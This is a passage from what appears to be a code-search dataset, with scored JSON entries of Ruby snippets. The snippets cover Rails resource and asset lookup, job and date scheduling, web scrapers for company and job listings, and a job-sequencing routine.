:projects,\n :subject_areas,\n :grade_levels ]\n\n item = rubyclass.includes(includes).find(id)\n\n if item\n return item\n end\n\n else\n raise ActiveRecord::RecordNotFound, \"Invalid material type (#{type})\"\n end\n\n raise ActiveRecord::RecordNotFound,\n \"Cannot find material type (#{type}) with id (#{id})\"\n end", "title": "" }, { "docid": "eb4310e4ba929a1f59caffbe7112efcb", "score": "0.50360096", "text": "def asset_kind_extension\n nil\n end", "title": "" }, { "docid": "9d4fe8f56527c84e7434b0cb4d002582", "score": "0.50350136", "text": "def resource_type\n self.category == \"firmware\" ? \"Firmware\" : \"Software\"\n end", "title": "" }, { "docid": "ba518393895acba3737d04d712cd0635", "score": "0.5024687", "text": "def get_resource(resource_type)\n Occi::Log.debug(\"Instantiating #{resource_type} ...\")\n\n type_id = if @model.get_by_id resource_type\n # we got a resource type identifier\n resource_type\n else\n # we got a resource type name\n type_ids = @model.kinds.select { |kind| kind.term == resource_type }\n type_ids.first.type_identifier if type_ids.any?\n end\n\n raise \"Unknown resource type! [#{resource_type}]\" unless type_id\n\n Occi::Core::Resource.new type_id\n end", "title": "" }, { "docid": "bad4131b98fe62bcec745d4a92f57316", "score": "0.50211275", "text": "def resource_class\n params[:type].present? ? params[:type].classify.constantize : super\n end", "title": "" }, { "docid": "62b9ae36066213288a81e8b2fdd5f4c1", "score": "0.50129795", "text": "def resourceType\n 'SubstanceSourceMaterial'\n end", "title": "" }, { "docid": "984e6f71e671dd9de36f4ac823affc35", "score": "0.50065374", "text": "def type\n @type || nil\n end", "title": "" }, { "docid": "e43a1bc98c9866d0180e4bd686016d94", "score": "0.5005796", "text": "def get_script_object(type)\n result = nil\n self.scripts.each do |script|\n if script.stype.to_sym == type.to_sym\n result = script\n end\n end\n result\n end", "title": "" }, { "docid": "a9ea5db153e0268da314bee1bc8f1ef9", "score": "0.5003737", "text": "def render_asset(file, type)\n o = self.class.assets_opts\n if o[:compiled]\n file = \"#{o[:\"compiled_#{type}_path\"]}#{file}\"\n\n if o[:gzip] && env['HTTP_ACCEPT_ENCODING'] =~ /\\bgzip\\b/\n @_response[RodaResponseHeaders::CONTENT_ENCODING] = 'gzip'\n file += '.gz'\n end\n\n check_asset_request(file, type, ::File.stat(file).mtime)\n ::File.read(file)\n else\n file = \"#{o[:\"#{type}_path\"]}#{file}\"\n check_asset_request(file, type, asset_last_modified(file))\n read_asset_file(file, type)\n end\n end", "title": "" }, { "docid": "3595862a84659e4d8268d2c3b0922126", "score": "0.500246", "text": "def content_type\n asset.mime.content_type\n end", "title": "" }, { "docid": "e38a7c47f0c6edb88c19e128a5491fda", "score": "0.499529", "text": "def show\n\t\t@type = Type.find(params[:type_id])\n\t\t@image = @type.images.find(params[:id])\n\t\trender json: @image\n\tend", "title": "" }, { "docid": "144c5cc02095d812938024538793f03b", "score": "0.49943772", "text": "def resourceType\n 'Coverage'\n end", "title": "" }, { "docid": "144c5cc02095d812938024538793f03b", "score": "0.49943772", "text": "def resourceType\n 'Coverage'\n end", "title": "" }, { "docid": "0a044bf3d0da043dd51210687643902d", "score": "0.49909064", "text": "def initialize(type, asset_type, root = nil)\n raise \"representation type cannot be left blank\" if type.blank?\n @type = type\n @dir = type.to_s.pluralize\n @asset_type = asset_type\n # Use ASSET_PUBLIC_DIRECTORIES to get root dir, but remove leading \"/\"\n @root = root || ActionView::Helpers::AssetUrlHelper::ASSET_PUBLIC_DIRECTORIES[asset_type][1..-1]\n end", "title": "" }, { "docid": "88785f01869c65e895d2ad961aa62da3", "score": "0.49844608", "text": "def file\n asset.present? ? asset.file : nil\n end", "title": "" }, { "docid": "f7822a3cebc2db8163b42c4f78031992", "score": "0.4983992", "text": "def get_controller(controller_path)\n return nil, nil unless controller_path && controller_path.size > 0\n\n action = controller_path[-1]\n\n # Get the constant parts\n parts = controller_path[0..-2].map {|v| v.gsub('-', '_').camelize }\n\n # Home doesn't get namespaced\n if parts.first == 'Main'\n parts.shift\n end\n\n # Do const lookups starting at object and working our way down.\n # So Volt::ProgressBar would lookup Volt, then ProgressBar on Volt.\n obj = Object\n parts.each do |part|\n if obj.const_defined?(part)\n obj = obj.const_get(part)\n else\n return nil\n end\n end\n\n return obj, action\n end", "title": "" }, { "docid": "fb2954540359381b7e601bcb721c91d8", "score": "0.4980878", "text": "def find_resource(type, name)\n resources.find{|resource| resource_type(resource) == type and resource.name == name}\n end", "title": "" }, { "docid": "cf38c85ca6cd104912d1785ada624dd8", "score": "0.49745375", "text": "def resource\n @resource_type ||= params[:resource_type]\n @resource ||= @resource_type.capitalize.constantize.find_by_id params[:resource_id] rescue nil\n end", "title": "" }, { "docid": "cf38c85ca6cd104912d1785ada624dd8", "score": "0.49745375", "text": "def resource\n @resource_type ||= params[:resource_type]\n @resource ||= @resource_type.capitalize.constantize.find_by_id params[:resource_id] rescue nil\n end", "title": "" }, { "docid": "31392706bbd6d2547c4f8f8a9abd4061", "score": "0.49742144", "text": "def resourceType\n 'Coverage'\n end", "title": "" }, { "docid": "30d93d49374c789ff186bc25019f8a9f", "score": "0.49727866", "text": "def find_asset(options)\n Tension.environment.find_asset( logical_asset_path(options) )\n end", "title": "" }, { "docid": "3ae3247080cc8451a014be9bb0d7ffa1", "score": "0.49725872", "text": "def category\n if self[:category] == nil\n return nil\n end\n return Truck.categories[self[:category]]\n end", "title": "" }, { "docid": "0ab443bdff97bcc81c336047208df24f", "score": "0.4969469", "text": "def set_defaults\n super\n self.asset_type_id ||= AssetType.where(class_name: self.name).pluck(:id).first\n end", "title": "" } ]
6ff85e2486f4262d354697234c78fbb4
checks if next company is the same. If it is, then we'll display the start of the first job in that company and we'll join that with end/current date for that job
[ { "docid": "8e57f9a31d26152a9bb7ba5e03b2e112", "score": "0.64342105", "text": "def is_next_company_same(current_company, current_index, company_params)\n start_month = params[:start_months][current_index]\n start_year = params[:start_years][current_index]\n start_time = []\n changed = false\n\n if company_params.length - 1 > current_index\n \n company_params[current_index..-1].each_with_index do |company, index|\n if company_params.length > 1\n if current_company == company && current_company == company_params[current_index..-1][current_index + 1]\n start_month = params[:start_months][current_index]\n start_year = params[:start_years][current_index]\n changed = true\n elsif index != 0\n if (current_company == company) && ((current_index - index).abs == 1)\n # start_month = params[:start_months][index]\n start_year = params[:start_years][current_index]\n changed = true\n company_params.each_with_index do |company, i|\n if ((company == current_company) && ((company_params.length - 1) > i))\n start_year = params[:start_years][i]\n start_month = params[:start_months][i]\n elsif ((company == current_company) && ((company_params.length - 1) == i))\n start_year = params[:start_years][i]\n start_month = params[:start_months][i]\n end\n end\n # else\n # changed = false\n end \n else\n changed = false\n end\n else\n return false\n end\n end\n end\n\n if changed == true\n start_time.push(start_month, start_year)\n else\n return false\n end \n end", "title": "" } ]
[ { "docid": "abe826fbac68cd22bb8fd5a9d142b0a8", "score": "0.5874341", "text": "def next_job\n job(jobs.first)\n end", "title": "" }, { "docid": "6ca20d0ebcff604210af25f637ac3dd7", "score": "0.5830892", "text": "def next_jobs\n now = Time.now\n earliest = nil\n jobs = Array.new\n\n @jobs.each do |entry|\n job, trigger = entry.job, entry.trigger\n time = trigger.fire_time_after(now)\n\n case\n when time.nil?\n # do nothing\n when now.to_i == entry.earliest.to_i\n unless entry.last.to_i == now.to_i\n entry.last = now\n jobs << entry\n end\n else\n entry.earliest = time\n end\n\n end\n\n jobs\n end", "title": "" }, { "docid": "29d4093fd485da0c5683f2e176ff03bd", "score": "0.5651356", "text": "def next\n comic0 = Comic.find(params[:id])\n if comic0\n @comic = Comic.where(\"date > ?\", comic0.date).order(\"date asc\").first\n else\n @comic = nil\n end\n show_comic\n end", "title": "" }, { "docid": "1e659136cd2045fc09fa6c34b6c6aed7", "score": "0.56149125", "text": "def companies_loop\n # companies = @data # ASSUMES MANUALLY SORTED\n # companies sorted, ignoring \"The \"\n companies =\n company_rows.sort_by do |c|\n company_name = c[name_field].downcase\n company_name = company_name.start_with?('the ') ? company_name.split('the ').last : company_name\n company_name\n end\n\n companies.each do |c|\n #name\n output << tags[:company_name] + c[name_field] + line_break\n\n #address\n output << address(c[city_field], c[state_field]) if c[city_field]\n\n output << phone(c[phone1_field], c[phone2_field]) if c[phone1_field] || c[phone2_field]\n\n # email\n email = c[email_field] ? tags[:body] + c[email_field] + line_break : ''\n output << email\n\n #website\n website = c[url_field] ? c[url_field] : ''\n website_formatted = website.sub(%r{^https?\\:\\/\\/}, '').sub(/www./, '')\n output << tags[:body] + website_formatted + line_break unless website.blank?\n end\n end", "title": "" }, { "docid": "aa692d36446c4eac08cb2eb1a2b5b3ab", "score": "0.54061687", "text": "def next_invoice_date\n self.invoices.length > 0 ? self.invoices.order(:id).last.issue_date + period.send(period_type) : starting_date\n end", "title": "" }, { "docid": "95bde943aa97fb747e6452683c6c83ec", "score": "0.53449637", "text": "def next_work\n Work.find(nextInSequence) unless nextInSequence.nil?\n end", "title": "" }, { "docid": "5c67419abd95b90192c7b2489e0f72e1", "score": "0.53294975", "text": "def next()\n @combs.shift.join \n end", "title": "" }, { "docid": "e4f3df2ea2102516794ee1f435c51b1f", "score": "0.5304858", "text": "def next_job_after(name)\n i = job_list.index(name)\n return unless i\n\n job_list[i + 1]\n end", "title": "" }, { "docid": "dc248484fef1bd7953b0084ee914fb22", "score": "0.5186492", "text": "def getJobs(company)\n puts \"Fetching jobs for company #{company[:id]}\"\n uri = URI.join(\"https://angel.co\",\"/job_listings/browse_startup_details\")\n params = { :startup_id => company[:id] }\n \n response = makeHttpRequest(uri, $headers, params, nil, MaxQps)\n if response == nil\n puts \"Error Getting jobs for company #{company}\"\n return nil\n end\n doc = Nokogiri::HTML(response.body)\n node = doc.xpath(\"//div[contains(@class, 'details-row') and contains(@class, 'product')]\")\n if(node == nil)\n puts \"Error Getting jobs for company #{company}\"\n return nil\n end\n \n company_profile = getCompanyProfile(company)\n \n $description = \"\"\n $description += doc.xpath(\"//div[contains(@class, 'details-row') and contains(@class, 'product')]\").inner_html.to_s\n $description += \"<br>\"\n $description += \"<div>For more information about #{company[:company]} visit <a href=\\\"#{company[:company_url]}\\\">#{company[:company_url]}</a>.</div>\"\n jobNodes = doc.xpath(\"//div[contains(@class, 'details-row') and contains(@class, 'jobs')]/div[@class='content']/div[@class='listing-row']\")\n \n company_profile[:description] = sanitizeDescription($description)\n active = doc.xpath(\"//div[@class='active']\").inner_text.strip\n \n active_time = (Time.zone.now().to_time - ChronicDuration.parse(active).seconds).to_s\n \n if(jobNodes == nil)\n puts \"Error Getting jobs for company #{company}\"\n return nil\n end\n jobs = []\n jobNodes.each do |jobNode|\n title = jobNode.xpath(\".//div[@class='top']/div[@class='title']\").inner_text\n tags = jobNode.xpath(\".//div[@class='tags']\").inner_text.split(\"\\u00B7\")\n record = {:job_title => title, :duration => (tags[0].nil?)? \"\" : tags[0].strip, :location => (tags[1].nil?)? \"\" : tags[1].strip, :area => (tags[2].nil?)? \"\" : tags[2].strip, :tags => (tags[3].nil?)? \"\" : tags.drop(3).join(\",\").strip}\n record[:job_url] = uri\n record[:description] = company_profile[:description]\n record[:active_time] = active_time\n record[:company] = company[:company]\n record[:company_logo] = company[:image_url]\n record[:job_url] = company[:company_url]\n # since there is no job id, creating job id by appending company id with hash of job title\n record[:id] = company[:id]+\"_\"+Digest::SHA1.hexdigest(title)\n record[:video_url] = company_profile[:video_url]\n jobs.push(record)\n end\n return jobs\nend", "title": "" }, { "docid": "632af45a677fcdbe202b4f8c15ef4481", "score": "0.5183166", "text": "def next_comic(current_comic)\n comics.each_slice(2) do |one, two|\n if current_comic == one\n return two if two.present?\n end\n end\n\n self\n end", "title": "" }, { "docid": "8e2c41e0d898f3ffdf4352503a5d0f11", "score": "0.5176579", "text": "def sort_and_print_jobs_start_date(jobs, view)\n jobs.sort! { |one, two| year_first(one.start_date) <=> year_first(two.start_date) }\n jobs.each { |job| view.jobs_and_start_date(job) }\n end", "title": "" }, { "docid": "59fc1c6b0f8b98a4ac46b120973903bc", "score": "0.5154722", "text": "def date_of_next_occurrence\n return unless active?\n start_at\n end", "title": "" }, { "docid": "411f8d25b782ecc9e9a04cdeab110ec1", "score": "0.5149006", "text": "def calc_next\n self.schedule.next_occurrence\n end", "title": "" }, { "docid": "d8b295f5afc30e837b5828d163771eea", "score": "0.5140563", "text": "def next_record\n next_one = nil\n end_time = ( @end_time.kind_of? Time ) ? @end_time : @start_time\n self.class.index.each do |record|\n next if record == self\n if next_one == nil && record.start_time >= end_time\n next_one = record\n elsif record.start_time >= end_time && record.start_time < next_one.start_time\n next_one = record\n end\n end\n next_one\n end", "title": "" }, { "docid": "8d6572b5b01adc5682b704c63ff11019", "score": "0.51385486", "text": "def next\n calendar.starts_after_or_eql(at: end_at)\n end", "title": "" }, { "docid": "28adfd5e183c1b1c9cc7ccf6c378d982", "score": "0.51171046", "text": "def company_number\n wizard_company_step(nil, next_step: :next_page_or_summary)\n end", "title": "" }, { "docid": "c845411119a5b603449e8ab147026778", "score": "0.5097615", "text": "def show\n @job = Job.where(id: params[:id]).joins(\"LEFT JOIN customers ON customers.id = jobs.customer_id LEFT JOIN fabrication_orders ON fabrication_orders.job_id = jobs.id\").select(\"customers.contact_firstname as customer_firstname, customers.contact_lastname as customer_lastname, customers.company_name as customer_company_name, jobs.*, fabrication_orders.id as fo_id,fabrication_orders.status as fo_status\").first\n @prev = @job.prev\n @next = @job.next\n @need_libs = ['maps']\n end", "title": "" }, { "docid": "ce3d9dc15472621809aad4bb638843a6", "score": "0.5044296", "text": "def next\r\n self.class.where(initiative: self.initiative).where(\"created_at > ?\", self.created_at).order(created_at: :asc).first\r\n end", "title": "" }, { "docid": "3c19617b697e2aac73b01b0df742f621", "score": "0.50319713", "text": "def link_to_adjacent_view_date(current, couch_view, options={})\n # If looking for the record previous to this one, then we seek a\n # date prior to the current one - build a Proc capable of\n # finding that\n compare = options[:previous] ?\n Proc.new { |date_fragment, current| date_fragment < current} :\n Proc.new { |date_fragment, current| date_fragment > current}\n\n # If looking for the record previous to this one, then we need\n # to reverse the list before using the compare Proc to detect\n # the record\n next_result = couch_view.\n send(options[:previous] ? :reverse : :map).\n detect{|result| compare[result['key'], current.to_s]}\n\n # If a next record was found, then return link text - either by\n if next_result\n if block_given?\n yield next_result['key'], next_result['value']\n else\n next_uri = next_result['key'].gsub(/-/, '/')\n %Q|<a href=\"/meals/#{next_uri}\">#{next_result['key']}</a>|\n end\n else\n nil\n end\n end", "title": "" }, { "docid": "cdfeee176b920443930b55906a47dfe6", "score": "0.5024929", "text": "def chained_survey_entry\n chained = if self.next then JournalEntry.where(:id => self.next).first elsif prev_survey then prev_survey else nil end\n end", "title": "" }, { "docid": "c25a58fca5a313a0ae9e59ebcb4e0b7f", "score": "0.5021714", "text": "def go_next\n @month = next_month\n end", "title": "" }, { "docid": "a23519bed088ae29da2c900a4f847e84", "score": "0.5017079", "text": "def job_link(job)\n lastjob = world.job_list\n lastjob = lastjob.next while lastjob.next\n joblink = JobListLink.cpp_new\n joblink.prev = lastjob\n joblink.item = job\n job.list_link = joblink\n job.id = df.job_next_id\n df.job_next_id += 1\n lastjob.next = joblink\n end", "title": "" }, { "docid": "a23519bed088ae29da2c900a4f847e84", "score": "0.5017079", "text": "def job_link(job)\n lastjob = world.job_list\n lastjob = lastjob.next while lastjob.next\n joblink = JobListLink.cpp_new\n joblink.prev = lastjob\n joblink.item = job\n job.list_link = joblink\n job.id = df.job_next_id\n df.job_next_id += 1\n lastjob.next = joblink\n end", "title": "" }, { "docid": "01e25f7811f9d193ee88581f8fd3681e", "score": "0.5001387", "text": "def schedule_next\n\n determine_at\n\n @scheduler.send(:add_job, self)\n end", "title": "" }, { "docid": "3693eeb244ff4517b93c753f475487ef", "score": "0.49967253", "text": "def next_games\n self.games_as_1.where(\"date >= ?\", Time.now).order(:date) || self.games_as_2.where(\"date >= ?\", Time.now).order(:date)\n end", "title": "" }, { "docid": "8c457399b83defc65428ffd847e2c243", "score": "0.49949798", "text": "def next_date(start_date, after_date)\n # puts \"\\\\nnext_date - start(#{start_date}) after(#{after_date})\"\n first_occurrence = next_occurrence(start_date,true)\n # puts \" the first occurance is: #{first_occurrence}\"\n\n if after_date < first_occurrence\n # puts \" return the first_occurrence\"\n first_occurrence\n elsif n = next_occurrence(after_date)\n n\n # I don't like having this type of conditional here, but \n # `first_group` and `next_group` don't make sense for :monthly\n elsif @freq == :monthly\n next_occurrence(after_date,true)\n else\n # Find the first group for this event happened\n first_group = first_group(first_occurrence)\n # puts \" found first group (#{first_group}) now calling recursively\"\n next_date(start_date, next_group(first_group, after_date))\n end\n end", "title": "" }, { "docid": "af0bc6a7e356d05b042180532eee502f", "score": "0.49928564", "text": "def show\n @organizer_name = User.find(@salon.user_id).user_name\n @next_schedules = Schedule.where(salon_id: @salon.id, start_time: Time.zone.today .. Time.zone.today.next_month)\n end", "title": "" }, { "docid": "00cbf26e068144e9cb92f11915bd956a", "score": "0.49844125", "text": "def first_client_for_company(name)\n results = search_clients :company => name\n results[name].first\n end", "title": "" }, { "docid": "7f7585f0096d2a4b1622853cc8318104", "score": "0.49766883", "text": "def sequence\n if @ordered_jobs.empty?\n \"No jobs\"\n else\n @ordered_jobs.join(' -> ')\n end\n end", "title": "" }, { "docid": "e3c05fa72e305cc8ec695effc32b53e4", "score": "0.49705628", "text": "def next\r\n next_result = Hash.new\r\n APIS.each do |api|\r\n api_module_name = Object.const_get('HawatelSearchJobs').const_get('Api').const_get(api)\r\n api_inst_var = instance_variable_get(\"@\"+api.downcase)\r\n api_sym_name = api.downcase.to_sym\r\n\r\n if api_inst_var[:activated] && next_result?(api_sym_name)\r\n next_result[api_sym_name] = api_module_name.page({:settings => api_inst_var,\r\n :page => @jobs_table[api_sym_name].page + 1,\r\n :query_key => @jobs_table[api_sym_name].key})\r\n end\r\n end\r\n\r\n return nil if next_result.empty?\r\n\r\n @jobs_table = next_result\r\n end", "title": "" }, { "docid": "1928ffc11515305e14e8f56b5a9c96e6", "score": "0.49621952", "text": "def next_saccounting_number(company)\n voucher_setting = VoucherSetting.where(:company_id=>company.id, :voucher_type=> 12).first\n if voucher_setting.voucher_number_strategy == 0\n \"SACC\"+Time.now.to_i.to_s\n else\n voucher_setting.customize_number('SACC')\n end\n end", "title": "" }, { "docid": "258db8185ad1b51e2cad1234661193d5", "score": "0.49530393", "text": "def next(pointer)\n super\n \n half_day = 60 * 60 * 12\n full_day = 60 * 60 * 24\n \n first = false\n \n unless @current_time\n first = true\n midnight = Time.local(@now.year, @now.month, @now.day)\n yesterday_midnight = midnight - full_day\n tomorrow_midnight = midnight + full_day\n\n catch :done do\n if pointer == :future\n if @type.ambiguous?\n [midnight + @type, midnight + half_day + @type, tomorrow_midnight + @type].each do |t|\n (@current_time = t; throw :done) if t >= @now\n end\n else\n [midnight + @type, tomorrow_midnight + @type].each do |t|\n (@current_time = t; throw :done) if t >= @now\n end\n end\n else # pointer == :past\n if @type.ambiguous?\n [midnight + half_day + @type, midnight + @type, yesterday_midnight + @type * 2].each do |t|\n (@current_time = t; throw :done) if t <= @now\n end\n else\n [midnight + @type, yesterday_midnight + @type].each do |t|\n (@current_time = t; throw :done) if t <= @now\n end\n end\n end\n end\n \n @current_time || raise(\"Current time cannot be nil at this point\")\n end\n \n unless first\n increment = @type.ambiguous? ? half_day : full_day\n @current_time += pointer == :future ? increment : -increment\n end\n \n Chronic::Span.new(@current_time, @current_time + width)\n end", "title": "" }, { "docid": "1a3696116ce0600084645c325dabcc84", "score": "0.49303824", "text": "def next_job\n var_source.with do |source|\n source.next if source.next?\n end\n end", "title": "" }, { "docid": "a2b2dce1c71088ae61067cfaef95cdbd", "score": "0.49280655", "text": "def is_company_same_as_last_one(current_company, current_index)\n \n all_companies = params[:company_names]\n company = current_company\n \n # current index is not current index. It's current index + 1.\n # to access previous element for matching we subtract 2 from it.\n if current_index - 1 != 0 && company == params[:company_names][current_index - 2]\n true\n else\n false\n end\n end", "title": "" }, { "docid": "023df97d165d246757e387a982e028e8", "score": "0.49270844", "text": "def handle_next_job\n job = redis.rpop(Testributor::REDIS_JOBS_LIST)\n\n if job\n result = nil\n job = JSON.parse(job)\n # Skip blacklisted test runs. Setup jobs also have this key.\n test_run_id = job[\"test_run\"][\"id\"]\n if redis.get(Testributor.redis_blacklisted_test_run_key(test_run_id))\n log \"Skipping job #{job[\"id\"]} for blacklisted test run #{test_run_id}\"\n return\n end\n\n set_current_job(job)\n if job[\"type\"] == \"setup\"\n Dir.chdir(Project::DIRECTORY) do\n result = SetupJob.new(job).run\n end\n redis.hset(Testributor::REDIS_REPORTS_HASH,\n \"setup_job_#{job[\"test_run\"][\"id\"]}\", result.to_json)\n else\n Dir.chdir(Project::DIRECTORY) do\n result = TestJob.new(\n job.merge!('started_at_seconds_since_epoch' => Time.now.utc.to_i)\n ).run\n end\n result.merge!(\"test_run_id\" => job[\"test_run\"][\"id\"])\n redis.hset(Testributor::REDIS_REPORTS_HASH, job[\"id\"], result.to_json)\n end\n else\n set_current_job(nil)\n sleep NO_JOBS_IN_QUEUE_TIMEOUT_SECONDS\n end\n end", "title": "" }, { "docid": "fe38d33de424283d610d12ce003c065c", "score": "0.49267605", "text": "def job_schedule_next\n # Check there isn't another job of this probe scheduled or waiting.\n if (self.jobs_waiting == 0)\n return true if (Sidekiq::Client.enqueue_to_in(Service::PRIORITY_QUEUE[self.priority], self.interval, ServiceProbeWorker, self.id.to_s))\n return false # It fails\n else\n return false # It's already scheduled one.\n end\n end", "title": "" }, { "docid": "67e1428a32517f27902fedf68cfe5afa", "score": "0.49194214", "text": "def next_class_home_work\n @home_work = HomeWork.find_by_id(id)\n @classroom = @home_work.classroom \n @next ||= self.class.find(:first, :select => ['id'],:conditions => [\"id > ? and classroom_id = ? and school_id = ?\", id, @classroom.id, self.school_id ], :order => 'id')\n @next ? @next.id : nil\n end", "title": "" }, { "docid": "f13fbe4de0e9e49d7847a4f5203d76c0", "score": "0.49101534", "text": "def roll_forward\n next_business_time = self\n \n if (before_business_hours? || !workday?)\n next_business_time = beginning_of_workday\n end\n \n if after_business_hours?\n next_business_time = beginning_of_workday + 1.day\n end\n \n while !next_business_time.workday?\n next_business_time = next_business_time + 1.day \n end \n\n next_business_time\n end", "title": "" }, { "docid": "d00465e8cce93f01ebd506924a3949a6", "score": "0.4886894", "text": "def next_scheduled_use_date\n next_date = nil\n\n open_orders.each do |o|\n if o.access_date_start\n next_date ||= o.access_date_start\n if o.access_date_start < next_date\n next_date = o.access_date_start\n end\n end\n end\n next_date\n end", "title": "" }, { "docid": "d00465e8cce93f01ebd506924a3949a6", "score": "0.4886894", "text": "def next_scheduled_use_date\n next_date = nil\n\n open_orders.each do |o|\n if o.access_date_start\n next_date ||= o.access_date_start\n if o.access_date_start < next_date\n next_date = o.access_date_start\n end\n end\n end\n next_date\n end", "title": "" }, { "docid": "62280e29104a2e17f3a599247e93bed9", "score": "0.48860607", "text": "def scrap_company\n i = 1\n while(i < 15)\n url = \"https://rcdb.com/r.htm?ot=12&page=#{i}\"\n doc = Nokogiri::HTML(open(url))\n entries = doc.css('#report')\n entries.css('tbody')[0].css('tr').each do |entry|\n nodeset = entry.css('a[href]') # Get anchors w href attribute via css\n nodeset.map {|element| \n id = element[\"href\"].slice(1..(element[\"href\"].index('.')-1))\n does_company_exist = Company.find_by_api_id(id)\n if !does_company_exist\n company_html = Nokogiri::HTML(open(\"https://rcdb.com/#{id}.htm\"))\n company_info = company_html.css('#feature')\n name = company_info.css('h1').text\n location_info = company_info.css('.scroll')[0]\n location_links = location_info.css(\"a[href]\")\n location_text = \"\"\n location_links.map {|link|\n if location_text.length > 0 \n location_text = location_text + ', ' + link.text\n else\n location_text = link.text\n end\n }\n possible_status = location_info.next_element.next_element.text\n if possible_status\n Company.create!(api_id: id, name: name, location: location_text, status: possible_status)\n else\n Company.create!(api_id: id, name: name, location: location_text, status: \"Defunct\")\n end\n end\n \n\n }\n end\n i = i + 1\n end\n end", "title": "" }, { "docid": "5c53a8becc18aad2caff2aed138536d6", "score": "0.48748913", "text": "def next_meeting\n self.meetings.find_by(current: true)\n end", "title": "" }, { "docid": "e441c80fc4f8eeda3fa293bb3ee6f2aa", "score": "0.4864809", "text": "def next\n after.ascending.first\n end", "title": "" }, { "docid": "5aadb09866315915be45b6142869317f", "score": "0.48534265", "text": "def enter_next_check_date(data_set)\n check_date = data_set[ConditionCheck::NXT_COND_CHECK_DATE.name]\n if check_date\n enter_simple_date(next_check_date_input_locator, check_date)\n end\n end", "title": "" }, { "docid": "c24b9f3727f6545ce79b82571bfb4801", "score": "0.4847393", "text": "def next_fed_workday\n add_fed_workdays(1)\n end", "title": "" }, { "docid": "106528cc742352a410e6531a62f66229", "score": "0.48402348", "text": "def nextDate \n\n end", "title": "" }, { "docid": "efcb333b9a974b43389c596daa998b19", "score": "0.483886", "text": "def next_due\n if self.cards.future_due.any?\n due = self.cards.future_due.first.next_due\n self.cards.future_due.each do |card|\n due_date = card.schedule_manager.next_due < due ? card.schedule_manager.next_due : due\n due = due_date\n end\n else\n due = \"\"\n end\n return due\n end", "title": "" }, { "docid": "4e1cc1282d5268474c769cdfd60a0797", "score": "0.48093852", "text": "def start_date\n earliest_date_sprint = (self.sprints).min_by { |s| s.start_date} if !self.sprints.empty?\n if earliest_date_sprint.present?\n earliest_date_sprint.start_date\n else\n nil\n end\n end", "title": "" }, { "docid": "a95c71b6f5da636ac6198a4d71437203", "score": "0.4808187", "text": "def earliest_element\n @work.first\n end", "title": "" }, { "docid": "a20d46f07cff92b5b4f43fa1d68cddd6", "score": "0.48071808", "text": "def beginning_of_next_month\n self.next_month.beginning_of_month\n end", "title": "" }, { "docid": "4f4881178273bb3ac8613a6c4e21d1b9", "score": "0.4792744", "text": "def next_job_id\n redis.incr(:next_job_id)\n end", "title": "" }, { "docid": "03f4e24e2ee793ce50601bf96643b2a4", "score": "0.47914398", "text": "def next_active_date\n\t\tget_active_date\n\tend", "title": "" }, { "docid": "2261c4747cb70b115a5ecaa7fd4dd01e", "score": "0.479126", "text": "def job_sequencing(arr, max_deadline)\n return if arr.empty?\n\n length = arr.length\n\n # sort array by decending profit\n arr.sort! { |a, b| b[2] <=> a[2] }.to_s\n\n # true denotes time_slot is empty\n time_slots = Array.new(max_deadline) { |_a| true }\n output = []\n profit = 0\n filled_slots = 0\n arr.each_with_index do |job, _index|\n min_deadline = [max_deadline, job[1]].min\n\n # as index start from 0, and min deadline can be 1. We decremented 1\n min_deadline -= 1\n\n # try to accomodate job at deadline or before\n while min_deadline >= 0\n # empty slot found\n if time_slots[min_deadline]\n time_slots[min_deadline] = false\n profit += job[2]\n output[min_deadline] = job[0]\n filled_slots += 1\n break\n end\n min_deadline -= 1\n end\n break if filled_slots == max_deadline\n end\n output\nend", "title": "" }, { "docid": "3caffb123f5b943db877adece02faf46", "score": "0.47828078", "text": "def appointment_field_label(appointment, client)\n if current_page?(new_user_client_path(current_user))\n appointment.label :date, \"Schedule First Appointment:\"\n elsif current_page?(appointment_complete_path(client))\n appointment.label :date, \"Schedule Next Appointment:\"\n end\n end", "title": "" }, { "docid": "385dc222c1011dc84bb317f88bd55e5f", "score": "0.4780167", "text": "def next_link(instance)\n text = 'Next'\n if instance.respond_to?(:project_id)\n link_object = instance.class.base_class.order(id: :asc).with_project_id(instance.project_id).where(['id > ?', instance.id]).limit(1).first\n else\n link_object = instance.class.base_class.order(id: :asc).where(['id > ?', instance.id]).limit(1).first\n end\n link_object.nil? ? text : link_to(text, link_object.metamorphosize)\n end", "title": "" }, { "docid": "51bbb82f6b69dd53af10cc801fd3cf9b", "score": "0.47798625", "text": "def test_this_month_with_active_jobs\n job 'misc'\n background 'misc'\n job 'stqe'\n\n Time.set(Time.local(2002, 'oct', 3, 9))\n\n # Make sure starting with nothing.\n assert_message(record_list(0.hours), this_month)\n\n start_day_mark = Time.now\n start_day\n\n Time.advance(2.hours)\n\n assert_message(record_list(2.hours,\n [start_day_mark, 2.hours, 'misc', 'running']),\n this_month)\n\n stqe_1_mark = Time.now\n start 'stqe'\n Time.advance 6.minutes\n stop 'stqe' # and start background.\n\n # Note that active jobs are sorted into the stopped records,\n # according to start time.\n Time.advance 1.hour\n assert_message(record_list(3.hours + 6.minutes,\n [start_day_mark, 3.hours, 'misc', 'running'],\n [stqe_1_mark, 6.minutes, 'stqe']),\n this_month)\n \n stqe_2_mark = Time.now\n start 'stqe'\n Time.advance 30.minutes\n\n assert_message(record_list(3.hours + 36.minutes,\n [start_day_mark, 3.hours, 'misc', 'paused'],\n [stqe_1_mark, 6.minutes, 'stqe'],\n [stqe_2_mark, 30.minutes, 'stqe', 'running']),\n this_month)\n\n assert_message(record_list(36.minutes,\n [stqe_1_mark, 6.minutes, 'stqe'],\n [stqe_2_mark, 30.minutes, 'stqe', 'running']),\n this_month('stqe'))\n\n assert_message(record_list(3.hours,\n [start_day_mark, 3.hours, 'misc', 'paused']),\n this_month('misc'))\n\n stop 'stqe'\n # Use \"records\" for a change.\n assert_message(record_list(3.hours + 36.minutes,\n [start_day_mark, 3.hours, 'misc', 'running'],\n [stqe_1_mark, 6.minutes, 'stqe'],\n [stqe_2_mark, 30.minutes, 'stqe']),\n records)\n\n stop_day\n assert_message(record_list(3.hours + 36.minutes,\n [start_day_mark, 3.hours, 'misc'],\n [stqe_1_mark, 6.minutes, 'stqe'],\n [stqe_2_mark, 30.minutes, 'stqe']),\n records)\n end", "title": "" }, { "docid": "669e4854786cfa1a123bc7bdd89860c6", "score": "0.47777328", "text": "def next_occurrences\n result = []\n\n occurrences = Invoice.belonging_to(id).count\n next_date = next_invoice_date\n max_date = [Date.current, finishing_date.blank? ? Date.current + 1 : finishing_date].min\n\n while next_date <= max_date and (max_occurrences.nil? or occurrences < max_occurrences) do\n 